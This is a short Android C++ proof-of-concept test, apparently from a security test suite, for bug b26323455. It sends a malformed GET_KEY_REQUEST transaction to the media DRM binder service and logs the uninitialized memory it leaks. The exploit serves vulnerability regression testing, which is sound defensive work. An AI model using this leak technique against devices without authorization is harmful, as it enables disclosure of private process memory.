1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #include <android/log.h>
17 #include <arpa/inet.h>
18 #include <binder/IServiceManager.h>
19 #include <binder/Parcel.h>
20 #include <binder/ProcessState.h>
21 #include <binder/TextOutput.h>
22 #include <drm/DrmConstraints.h>
23 #include <drm/DrmConvertedStatus.h>
24 #include <drm/DrmInfo.h>
25 #include <drm/DrmInfoRequest.h>
26 #include <drm/DrmInfoStatus.h>
27 #include <drm/DrmMetadata.h>
28 #include <drm/DrmRights.h>
29 #include <drm/DrmSupportInfo.h>
30 #include <fcntl.h>
31 #include <media/IMediaPlayer.h>
32 #include <media/IMediaPlayerClient.h>
33 #include <media/IMediaPlayerService.h>
34 #include <sys/stat.h>
35 #include <sys/types.h>
36 #include <sys/wait.h>
37
38 using namespace android;
39
40 int INFO_LEAK_BUFFER_SIZE = 256;
41
doInforLeakTest()42 int doInforLeakTest() {
43 sp<IServiceManager> sm = defaultServiceManager();
44 sp<IBinder> mediaPlayerSevice = sm->checkService(String16("media.player"));
45
46 sp<IMediaPlayerService> iMediaPlayerService =
47 IMediaPlayerService::asInterface(mediaPlayerSevice);
48
49 Parcel data, reply;
50 data.writeInterfaceToken(iMediaPlayerService->getInterfaceDescriptor());
51 IMediaPlayerService::asBinder(iMediaPlayerService)
52 ->transact(2 /*MAKE_DRM*/, data, &reply); //MAKE_DRM : 2 (N & O branch), 6 (M Branch)
53 sp<IBinder> iDrm(reply.readStrongBinder());
54
55 Parcel data2, reply2;
56 data2.writeInterfaceToken(iDrm->getInterfaceDescriptor());
57 iDrm->transact(7 /*GET_KEY_REQUEST*/, data2, &reply2);
58 reply2.readInt32();
59 reply2.readInt32();
60 unsigned int leaked = reply2.readInt32();
61
62 ALOGE("leaked data: 0x%08x", leaked);
63
64 return (leaked == 0 ? 0 : 1);
65 }
66
main(void)67 int main(void) {
68 int leaked = 0;
69 for (int i = 0; i < 20; i++) {
70 leaked = doInforLeakTest();
71 if (leaked) {
72 ALOGE("IOMX_InfoLeak b26323455");
73 break;
74 }
75 }
76 return 0;
77 }
78